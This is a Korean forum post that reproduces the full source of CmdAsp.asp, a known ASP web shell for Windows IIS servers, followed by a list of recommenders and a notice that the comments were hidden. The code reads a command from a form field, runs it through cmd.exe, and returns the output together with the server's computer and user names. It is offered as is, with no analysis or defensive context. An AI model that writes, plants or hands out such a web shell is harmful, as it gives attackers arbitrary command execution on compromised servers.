<div><%@ Language=VBScript %><br><%<br> ' --------------------o0o--------------------<br> ' File: CmdAsp.asp<br> ' Author: Maceo <maceo @ dogmile.com><br> ' Release: 2000-12-01<br> ' OS: Windows 2000, 4.0 NT<br> ' -------------------------------------------</div> <div> Dim oScript<br> Dim oScriptNet<br> Dim oFileSys, oFile<br> Dim szCMD, szTempFile</div> <div> On Error Resume Next</div> <div> ' -- create the COM objects that we will be using -- '<br> Set oScript = Server.CreateObject("WSCRIPT.SHELL")<br> Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")<br> Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")</div> <div> ' -- check for a command that we have posted -- '<br> szCMD = Request.Form(".CMD")<br> If (szCMD <> "") Then</div> <div> ' -- Use a poor man's pipe ... a temp file -- '<br> szTempFile = "C:\" & oFileSys.GetTempName( )<br> Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)<br> Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)</div> <div> End If</div> <div>%><br><HTML><br><BODY><br><FORM action="<%= Request.ServerVariables("URL") %>" method="POST"><br><input type=text name=".CMD" size=45 value="<%= szCMD %>"><br><input type=submit value="Run"><br></FORM><br><PRE><br><%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %><br><br><br><%<br> If (IsObject(oFile)) Then<br> ' -- Read the output from our command and remove the temp file -- '<br> On Error Resume Next<br> Response.Write Server.HTMLEncode(oFile.ReadAll)<br> oFile.Close<br> Call oFileSys.DeleteFile(szTempFile, True)<br> End If<br>%><br></BODY><br></HTML></div> <div><!-- <a target="_blank" href="http://michaeldaw.org" target="_blank">http://michaeldaw.org</a> 2006 --><br></div>
이 게시물을 추천한 분들의 목록입니다.
[1] 2016/10/20 15:47:22 211.186.***.92 lI
725094[2] 2016/10/20 15:58:03 210.182.***.190 올드엔뉴
43135[3] 2016/10/20 16:03:31 106.245.***.141 망한개그
91060[4] 2016/10/20 16:05:58 175.198.***.246 꾸듯
357582[5] 2016/10/20 18:00:46 49.142.***.44 문과출신
116492[6] 2016/10/20 19:47:09 183.102.***.226 정겨울
423595[7] 2016/10/20 20:08:01 110.76.***.64 キャスター
655684[8] 2016/10/20 22:06:28 222.112.***.50 모지리이
665701[9] 2016/10/20 23:41:14 119.204.***.6 을파소
440752[10] 2016/10/21 00:01:24 39.120.***.54 アルトリア
535623
댓글 분란 또는 분쟁 때문에 전체 댓글이 블라인드 처리되었습니다.